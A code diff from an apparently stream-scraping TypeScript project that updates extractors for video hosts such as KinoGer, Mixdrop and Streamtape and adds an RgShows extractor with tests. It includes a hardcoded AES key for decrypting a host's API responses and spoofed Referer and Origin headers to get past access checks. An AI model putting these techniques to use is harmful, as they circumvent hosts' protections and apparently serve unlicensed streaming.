.map((_i, el) => new URL($(el).attr('href') as string))
|
||||||
|
.get(0);
|
||||||
|
|
||||||
|
return hubCloudUrl ? this.hubCloud.extract(ctx, hubCloudUrl, meta) : [];
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
@ -17,4 +17,12 @@ describe('KinoGer', () => {
|
||||||
test('Dead City', async () => {
|
test('Dead City', async () => {
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('https://kinoger.re/#x6tsx9'))).toMatchSnapshot();
|
expect(await extractorRegistry.handle(ctx, new URL('https://kinoger.re/#x6tsx9'))).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('filma365.strp2p.site', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://filma365.strp2p.site/#vih6bx'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('kinoger.p2pplay.pro', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://kinoger.p2pplay.pro/#k53k9'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,5 @@
|
||||||
import crypto from 'crypto';
|
import crypto from 'crypto';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { guessHeightFromPlaylist } from '../utils';
|
import { guessHeightFromPlaylist } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
|
|
@ -17,7 +17,10 @@ export class KinoGer extends Extractor {
|
||||||
'disneycdn.net',
|
'disneycdn.net',
|
||||||
'dzo.vidplayer.live',
|
'dzo.vidplayer.live',
|
||||||
'filedecrypt.link',
|
'filedecrypt.link',
|
||||||
|
'filma365.strp2p.site',
|
||||||
'flimmer.rpmvip.com',
|
'flimmer.rpmvip.com',
|
||||||
|
'flixfilmesonline.strp2p.site',
|
||||||
|
'kinoger.p2pplay.pro',
|
||||||
'kinoger.re',
|
'kinoger.re',
|
||||||
'moflix.rpmplay.xyz',
|
'moflix.rpmplay.xyz',
|
||||||
'moflix.upns.xyz',
|
'moflix.upns.xyz',
|
||||||
|
|
@ -25,6 +28,7 @@ export class KinoGer extends Extractor {
|
||||||
'securecdn.shop',
|
'securecdn.shop',
|
||||||
'shiid4u.upn.one',
|
'shiid4u.upn.one',
|
||||||
'srbe84.vidplayer.live',
|
'srbe84.vidplayer.live',
|
||||||
|
'strp2p.site',
|
||||||
't1.p2pplay.pro',
|
't1.p2pplay.pro',
|
||||||
'tuktuk.rpmvid.com',
|
'tuktuk.rpmvid.com',
|
||||||
'ultrastream.online',
|
'ultrastream.online',
|
||||||
|
|
@ -39,36 +43,35 @@ export class KinoGer extends Extractor {
|
||||||
return new URL(`${url.origin}/api/v1/video?id=${url.hash.slice(1)}`);
|
return new URL(`${url.origin}/api/v1/video?id=${url.hash.slice(1)}`);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { 'Referer': meta.referer ?? url.href, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36' };
|
const headers = {
|
||||||
|
'Origin': url.origin,
|
||||||
|
'Referer': url.origin + '/',
|
||||||
|
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
|
||||||
|
};
|
||||||
|
|
||||||
const hexData = await this.fetcher.text(ctx, url, { headers });
|
const hexData = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
|
||||||
const encrypted = Buffer.from(hexData, 'hex');
|
const encrypted = Buffer.from(hexData.slice(0, -1), 'hex');
|
||||||
const key = Buffer.from('6b69656d7469656e6d75613931316361', 'hex');
|
const key = Buffer.from('6b69656d7469656e6d75613931316361', 'hex');
|
||||||
const iv = Buffer.from('313233343536373839306f6975797472', 'hex');
|
const iv = Buffer.from('313233343536373839306f6975797472', 'hex');
|
||||||
const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv);
|
const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv);
|
||||||
const decrypted = Buffer.concat([decipher.update(encrypted), decipher.final()]).toString();
|
const decrypted = Buffer.concat([decipher.update(encrypted), decipher.final()]).toString();
|
||||||
|
|
||||||
const { cf, title } = JSON.parse(decrypted) as { cf: string; title: string };
|
const { source, title } = JSON.parse(decrypted) as { source: string; title: string };
|
||||||
|
|
||||||
const m3u8Url = new URL(cf);
|
const m3u8Url = new URL(source);
|
||||||
|
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
url: new URL(cf),
|
url: m3u8Url,
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
height: await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, url, { headers: { Referer: url.href } }),
|
height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, { headers }),
|
||||||
title,
|
title,
|
||||||
},
|
},
|
||||||
requestHeaders: {
|
requestHeaders: headers,
|
||||||
Referer: url.origin,
|
|
||||||
},
|
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,7 @@
|
||||||
import bytes from 'bytes';
|
import bytes from 'bytes';
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import {
|
import {
|
||||||
buildMediaFlowProxyExtractorStreamUrl,
|
buildMediaFlowProxyExtractorStreamUrl,
|
||||||
supportsMediaFlowProxy,
|
supportsMediaFlowProxy,
|
||||||
|
|
@ -12,7 +12,7 @@ import { Extractor } from './Extractor';
|
||||||
export class LuluStream extends Extractor {
|
export class LuluStream extends Extractor {
|
||||||
public readonly id = 'lulustream';
|
public readonly id = 'lulustream';
|
||||||
|
|
||||||
public readonly label = 'LuluStream (via MediaFlow Proxy)';
|
public readonly label = 'LuluStream';
|
||||||
|
|
||||||
public override viaMediaFlowProxy = true;
|
public override viaMediaFlowProxy = true;
|
||||||
|
|
||||||
|
|
@ -29,12 +29,12 @@ export class LuluStream extends Extractor {
|
||||||
}
|
}
|
||||||
|
|
||||||
public override normalize(url: URL): URL {
|
public override normalize(url: URL): URL {
|
||||||
const videoId = url.pathname.split('/').at(-1) as string;
|
const videoId = url.pathname.replace(/\/+$/, '').split('/').at(-1) as string;
|
||||||
|
|
||||||
return new URL(`/e/${videoId}`, url);
|
return new URL(`/e/${videoId}`, url);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const fileUrl = new URL(url.href.replace('/e/', '/d/'));
|
const fileUrl = new URL(url.href.replace('/e/', '/d/'));
|
||||||
|
|
@ -55,9 +55,6 @@ export class LuluStream extends Extractor {
|
||||||
{
|
{
|
||||||
url: playlistUrl,
|
url: playlistUrl,
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
title,
|
title,
|
||||||
|
|
|
||||||
|
|
@ -1,24 +1,24 @@
|
||||||
import bytes from 'bytes';
|
import bytes from 'bytes';
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
|
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class Mixdrop extends Extractor {
|
export class Mixdrop extends Extractor {
|
||||||
public readonly id = 'mixdrop';
|
public readonly id = 'mixdrop';
|
||||||
|
|
||||||
public readonly label = 'Mixdrop (via MediaFlow Proxy)';
|
public readonly label = 'Mixdrop';
|
||||||
|
|
||||||
public override viaMediaFlowProxy = true;
|
public override viaMediaFlowProxy = true;
|
||||||
|
|
||||||
public supports(ctx: Context, url: URL): boolean {
|
public supports(ctx: Context, url: URL): boolean {
|
||||||
return null !== url.host.match(/mixdrop/) && supportsMediaFlowProxy(ctx);
|
return null !== url.host.match(/mixdrop|mixdrp|mixdroop|m1xdrop/) && supportsMediaFlowProxy(ctx);
|
||||||
}
|
}
|
||||||
|
|
||||||
public override readonly normalize = (url: URL): URL => new URL(url.href.replace('/f/', '/e/'));
|
public override readonly normalize = (url: URL): URL => new URL(url.href.replace('/f/', '/e/'));
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const fileUrl = new URL(url.href.replace('/e/', '/f/'));
|
const fileUrl = new URL(url.href.replace('/e/', '/f/'));
|
||||||
const html = await this.fetcher.text(ctx, fileUrl);
|
const html = await this.fetcher.text(ctx, fileUrl);
|
||||||
|
|
||||||
|
|
@ -35,9 +35,6 @@ export class Mixdrop extends Extractor {
|
||||||
{
|
{
|
||||||
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Mixdrop', url),
|
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Mixdrop', url),
|
||||||
format: Format.mp4,
|
format: Format.mp4,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
bytes: bytes.parse((sizeMatch[1] as string).replace(',', '')) as number,
|
bytes: bytes.parse((sizeMatch[1] as string).replace(',', '')) as number,
|
||||||
|
|
|
||||||
24
src/extractor/RgShows.test.ts
Normal file
24
src/extractor/RgShows.test.ts
Normal file
|
|
@ -0,0 +1,24 @@
|
||||||
|
import winston from 'winston';
|
||||||
|
import { createTestContext } from '../test';
|
||||||
|
import { FetcherMock } from '../utils';
|
||||||
|
import { ExtractorRegistry } from './ExtractorRegistry';
|
||||||
|
import { RgShows } from './RgShows';
|
||||||
|
|
||||||
|
const logger = winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] });
|
||||||
|
const extractorRegistry = new ExtractorRegistry(logger, [new RgShows(new FetcherMock(`${__dirname}/__fixtures__/RgShows`))]);
|
||||||
|
|
||||||
|
const ctx = createTestContext();
|
||||||
|
|
||||||
|
describe('RgShows', () => {
|
||||||
|
test('handle one battle after another', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://api.rgshows.ru/main/movie/1054867'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('handle stranger things s05e01', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://api.rgshows.ru/main/tv/66732/5/1'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('handle parasite 2019 (mp4)', async () => {
|
||||||
|
expect(await extractorRegistry.handle(ctx, new URL('https://api.rgshows.ru/main/movie/496243'))).toMatchSnapshot();
|
||||||
|
});
|
||||||
|
});
|
||||||
49
src/extractor/RgShows.ts
Normal file
49
src/extractor/RgShows.ts
Normal file
|
|
@ -0,0 +1,49 @@
|
||||||
|
import { BlockedError } from '../error';
|
||||||
|
import { BlockedReason, Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
|
import { guessHeightFromPlaylist } from '../utils';
|
||||||
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
|
interface RgShowsApiData {
|
||||||
|
stream: {
|
||||||
|
url: string;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export class RgShows extends Extractor {
|
||||||
|
public readonly id = 'rgshows';
|
||||||
|
|
||||||
|
public readonly label = 'RgShows';
|
||||||
|
|
||||||
|
public override readonly ttl: number = 10800000; // 3h
|
||||||
|
|
||||||
|
public supports(_ctx: Context, url: URL): boolean {
|
||||||
|
return null !== url.host.match(/rgshows/);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
|
const headers = { 'Referer': 'https://www.rgshows.ru/', 'Origin': 'https://www.rgshows.ru', 'User-Agent': 'Mozilla' };
|
||||||
|
|
||||||
|
const data = await this.fetcher.json(ctx, url, { headers }) as RgShowsApiData;
|
||||||
|
|
||||||
|
const streamUrl = new URL(data.stream.url);
|
||||||
|
/* istanbul ignore if */
|
||||||
|
if (streamUrl.host.includes('vidzee')) {
|
||||||
|
throw new BlockedError(url, BlockedReason.unknown, {});
|
||||||
|
}
|
||||||
|
|
||||||
|
const isMp4 = streamUrl.href.includes('mp4');
|
||||||
|
const isHls = streamUrl.href.includes('m3u8') || streamUrl.href.includes('txt');
|
||||||
|
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
url: streamUrl,
|
||||||
|
format: isMp4 ? Format.mp4 : (isHls ? Format.hls : /* istanbul ignore next */ Format.unknown),
|
||||||
|
meta: {
|
||||||
|
...meta,
|
||||||
|
...(isHls && { height: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, streamUrl, { headers }) }),
|
||||||
|
},
|
||||||
|
requestHeaders: headers,
|
||||||
|
},
|
||||||
|
];
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class SaveFiles extends Extractor {
|
export class SaveFiles extends Extractor {
|
||||||
|
|
@ -18,7 +18,7 @@ export class SaveFiles extends Extractor {
|
||||||
return new URL(url.href.replace('/e/', '/').replace('/d/', '/'));
|
return new URL(url.href.replace('/e/', '/').replace('/d/', '/'));
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const html = await this.fetcher.text(ctx, url, { headers });
|
const html = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
|
@ -37,9 +37,6 @@ export class SaveFiles extends Extractor {
|
||||||
{
|
{
|
||||||
url: new URL(fileMatch[1] as string),
|
url: new URL(fileMatch[1] as string),
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
title,
|
title,
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,5 @@
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class StreamEmbed extends Extractor {
|
export class StreamEmbed extends Extractor {
|
||||||
|
|
@ -7,11 +7,13 @@ export class StreamEmbed extends Extractor {
|
||||||
|
|
||||||
public readonly label = 'StreamEmbed';
|
public readonly label = 'StreamEmbed';
|
||||||
|
|
||||||
|
public override readonly ttl: number = 259200000; // 3d
|
||||||
|
|
||||||
public supports(_ctx: Context, url: URL): boolean {
|
public supports(_ctx: Context, url: URL): boolean {
|
||||||
return null !== url.host.match(/bullstream|mp4player|watch\.gxplayer/);
|
return null !== url.host.match(/bullstream|mp4player|watch\.gxplayer/);
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const html = await this.fetcher.text(ctx, url, { headers });
|
const html = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
|
@ -26,9 +28,6 @@ export class StreamEmbed extends Extractor {
|
||||||
{
|
{
|
||||||
url: new URL(`/m3u8/${video.uid}/${video.md5}/master.txt?s=1&id=${video.id}&cache=${video.status}`, url.origin),
|
url: new URL(`/m3u8/${video.uid}/${video.md5}/master.txt?s=1&id=${video.id}&cache=${video.status}`, url.origin),
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
height: parseInt(JSON.parse(video.quality)[0]),
|
height: parseInt(JSON.parse(video.quality)[0]),
|
||||||
|
|
|
||||||
|
|
@ -1,26 +1,48 @@
|
||||||
import bytes from 'bytes';
|
import bytes from 'bytes';
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import {
|
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
|
||||||
buildMediaFlowProxyExtractorRedirectUrl,
|
|
||||||
supportsMediaFlowProxy,
|
|
||||||
} from '../utils';
|
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class Streamtape extends Extractor {
|
export class Streamtape extends Extractor {
|
||||||
public readonly id = 'streamtape';
|
public readonly id = 'streamtape';
|
||||||
|
|
||||||
public readonly label = 'Streamtape (via MediaFlow Proxy)';
|
public readonly label = 'Streamtape';
|
||||||
|
|
||||||
|
public override viaMediaFlowProxy = true;
|
||||||
|
|
||||||
public supports(ctx: Context, url: URL): boolean {
|
public supports(ctx: Context, url: URL): boolean {
|
||||||
return null !== url.host.match(/streamtape/) && supportsMediaFlowProxy(ctx);
|
const supportedDomain = null !== url.host.match(/streamtape/)
|
||||||
|
|| [
|
||||||
|
'strtape.cloud',
|
||||||
|
'streamta.pe',
|
||||||
|
'strcloud.link',
|
||||||
|
'strcloud.club',
|
||||||
|
'strtpe.link',
|
||||||
|
'scloud.online',
|
||||||
|
'stape.fun',
|
||||||
|
'streamadblockplus.com',
|
||||||
|
'shavetape.cash',
|
||||||
|
'streamta.site',
|
||||||
|
'streamadblocker.xyz',
|
||||||
|
'tapewithadblock.org',
|
||||||
|
'adblocktape.wiki',
|
||||||
|
'antiadtape.com',
|
||||||
|
'tapeblocker.com',
|
||||||
|
'streamnoads.com',
|
||||||
|
'tapeadvertisement.com',
|
||||||
|
'tapeadsenjoyer.com',
|
||||||
|
'watchadsontape.com',
|
||||||
|
].includes(url.host);
|
||||||
|
|
||||||
|
return supportedDomain && supportsMediaFlowProxy(ctx);
|
||||||
}
|
}
|
||||||
|
|
||||||
public override normalize(url: URL): URL {
|
public override normalize(url: URL): URL {
|
||||||
return new URL(url.href.replace('/e/', '/v/'));
|
return new URL(url.href.replace('/e/', '/v/'));
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
// Only needed to properly find non-existing files via 404 response
|
// Only needed to properly find non-existing files via 404 response
|
||||||
|
|
@ -37,9 +59,6 @@ export class Streamtape extends Extractor {
|
||||||
{
|
{
|
||||||
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Streamtape', url, headers),
|
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Streamtape', url, headers),
|
||||||
format: Format.mp4,
|
format: Format.mp4,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
title,
|
title,
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,7 @@
|
||||||
import bytes from 'bytes';
|
import bytes from 'bytes';
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
|
import { extractUrlFromPacked, guessHeightFromPlaylist } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
|
|
@ -20,7 +20,7 @@ export class SuperVideo extends Extractor {
|
||||||
return new URL(url.href.replace('/e/', '/').replace('/k/', '/').replace('/embed-', '/'));
|
return new URL(url.href.replace('/e/', '/').replace('/k/', '/').replace('/embed-', '/'));
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const headers = { Referer: meta.referer ?? url.href };
|
const headers = { Referer: meta.referer ?? url.href };
|
||||||
|
|
||||||
const html = await this.fetcher.text(ctx, url, { headers });
|
const html = await this.fetcher.text(ctx, url, { headers });
|
||||||
|
|
@ -33,30 +33,29 @@ export class SuperVideo extends Extractor {
|
||||||
throw new NotFoundError();
|
throw new NotFoundError();
|
||||||
}
|
}
|
||||||
|
|
||||||
const m3u8Url = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]);
|
const playlistUrl = extractUrlFromPacked(html, [/sources:\[{file:"(.*?)"/]);
|
||||||
|
const playlistHeaders = { Referer: 'https://supervideo.cc/' };
|
||||||
|
|
||||||
const heightAndSizeMatch = html.match(/\d{3,}x(\d{3,}), ([\d.]+ ?[GM]B)/);
|
const heightAndSizeMatch = html.match(/\d{3,}x(\d{3,}), ([\d.]+ ?[GM]B)/);
|
||||||
const size = heightAndSizeMatch ? bytes.parse(heightAndSizeMatch[2] as string) as number : undefined;
|
const size = heightAndSizeMatch ? bytes.parse(heightAndSizeMatch[2] as string) as number : undefined;
|
||||||
const height = heightAndSizeMatch
|
const height = heightAndSizeMatch
|
||||||
? parseInt(heightAndSizeMatch[1] as string)
|
? parseInt(heightAndSizeMatch[1] as string)
|
||||||
: await guessHeightFromPlaylist(ctx, this.fetcher, m3u8Url, url, { headers: { Referer: url.href } });
|
: meta.height ?? await guessHeightFromPlaylist(ctx, this.fetcher, playlistUrl, { headers: playlistHeaders });
|
||||||
|
|
||||||
const $ = cheerio.load(html);
|
const $ = cheerio.load(html);
|
||||||
const title = $('.download__title').text().trim();
|
const title = $('.download__title').text().trim();
|
||||||
|
|
||||||
return [
|
return [
|
||||||
{
|
{
|
||||||
url: m3u8Url,
|
url: playlistUrl,
|
||||||
format: Format.hls,
|
format: Format.hls,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
title,
|
title,
|
||||||
...(size && { bytes: size }),
|
...(size && { bytes: size }),
|
||||||
...(height && { height }),
|
...(height && { height }),
|
||||||
},
|
},
|
||||||
|
requestHeaders: playlistHeaders,
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -1,13 +1,13 @@
|
||||||
import * as cheerio from 'cheerio';
|
import * as cheerio from 'cheerio';
|
||||||
import { NotFoundError } from '../error';
|
import { NotFoundError } from '../error';
|
||||||
import { Context, Format, Meta, UrlResult } from '../types';
|
import { Context, Format, InternalUrlResult, Meta } from '../types';
|
||||||
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
|
import { buildMediaFlowProxyExtractorRedirectUrl, supportsMediaFlowProxy } from '../utils';
|
||||||
import { Extractor } from './Extractor';
|
import { Extractor } from './Extractor';
|
||||||
|
|
||||||
export class Uqload extends Extractor {
|
export class Uqload extends Extractor {
|
||||||
public readonly id = 'uqload';
|
public readonly id = 'uqload';
|
||||||
|
|
||||||
public readonly label = 'Uqload (via MediaFlow Proxy)';
|
public readonly label = 'Uqload';
|
||||||
|
|
||||||
public override viaMediaFlowProxy = true;
|
public override viaMediaFlowProxy = true;
|
||||||
|
|
||||||
|
|
@ -19,7 +19,7 @@ export class Uqload extends Extractor {
|
||||||
return new URL(url.href.replace('/embed-', '/'));
|
return new URL(url.href.replace('/embed-', '/'));
|
||||||
}
|
}
|
||||||
|
|
||||||
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<UrlResult[]> {
|
protected async extractInternal(ctx: Context, url: URL, meta: Meta): Promise<InternalUrlResult[]> {
|
||||||
const html = await this.fetcher.text(ctx, url);
|
const html = await this.fetcher.text(ctx, url);
|
||||||
|
|
||||||
if (/File Not Found/.test(html)) {
|
if (/File Not Found/.test(html)) {
|
||||||
|
|
@ -35,9 +35,6 @@ export class Uqload extends Extractor {
|
||||||
{
|
{
|
||||||
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Uqload', url),
|
url: buildMediaFlowProxyExtractorRedirectUrl(ctx, 'Uqload', url),
|
||||||
format: Format.mp4,
|
format: Format.mp4,
|
||||||
label: this.label,
|
|
||||||
sourceId: `${this.id}_${meta.countryCodes?.join('_')}`,
|
|
||||||
ttl: this.ttl,
|
|
||||||
meta: {
|
meta: {
|
||||||
...meta,
|
...meta,
|
||||||
title,
|
title,
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,6 @@
|
||||||
import { MockAgent, setGlobalDispatcher } from 'undici';
|
|
||||||
import winston from 'winston';
|
import winston from 'winston';
|
||||||
import { createTestContext } from '../test';
|
import { createTestContext } from '../test';
|
||||||
import { Fetcher, FetcherMock } from '../utils';
|
import { FetcherMock } from '../utils';
|
||||||
import { ExtractorRegistry } from './ExtractorRegistry';
|
import { ExtractorRegistry } from './ExtractorRegistry';
|
||||||
import { VidSrc } from './VidSrc';
|
import { VidSrc } from './VidSrc';
|
||||||
|
|
||||||
|
|
@ -18,36 +17,4 @@ describe('VidSrc', () => {
|
||||||
test('Black Mirror', async () => {
|
test('Black Mirror', async () => {
|
||||||
expect(await extractorRegistry.handle(ctx, new URL('https://vidsrc-embed.ru/embed/tv/tt2085059/4-2'))).toMatchSnapshot();
|
expect(await extractorRegistry.handle(ctx, new URL('https://vidsrc-embed.ru/embed/tv/tt2085059/4-2'))).toMatchSnapshot();
|
||||||
});
|
});
|
||||||
|
|
||||||
test('rate limit issues are retried and fail if no tlds are left', async () => {
|
|
||||||
const mockAgent = new MockAgent({ enableCallHistory: true });
|
|
||||||
mockAgent.disableNetConnect();
|
|
||||||
setGlobalDispatcher(mockAgent);
|
|
||||||
|
|
||||||
mockAgent.get('https://vidsrc-embed.ru')
|
|
||||||
.intercept({ path: '/embed/movie/fake1' }).reply(429);
|
|
||||||
mockAgent.get('https://vidsrc-embed.su')
|
|
||||||
.intercept({ path: '/embed/movie/fake1' }).reply(429);
|
|
||||||
|
|
||||||
const fetcher = new Fetcher(winston.createLogger({ transports: [new winston.transports.Console({ level: 'nope' })] }));
|
|
||||||
const vidSrc = new VidSrc(fetcher, ['vidsrc-embed.ru', 'vidsrc-embed.su']);
|
|
||||||
|
|
||||||
expect(await vidSrc.extract(ctx, new URL('https://vidsrc-embed.ru/embed/movie/fake1'), {})).toMatchSnapshot();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('blocking issues are retried and fail if no tlds are left', async () => {
|
|
||||||
const mockAgent = new MockAgent({ enableCallHistory: true });
|
|
||||||
mockAgent.disableNetConnect();
|
|
||||||
setGlobalDispatcher(mockAgent);
|
|
||||||
|
|
||||||
mockAgent.get('https://vidsrc-embed.ru')
|
|
||||||
.intercept({ path: '/embed/movie/fake2' }).reply(403);
|
|
||||||
mockAgent.get('https://vidsrc-embed.su')
|
|
||||||
.intercept({ path: '/embed/movie/fake2' }).reply(403);
|
|
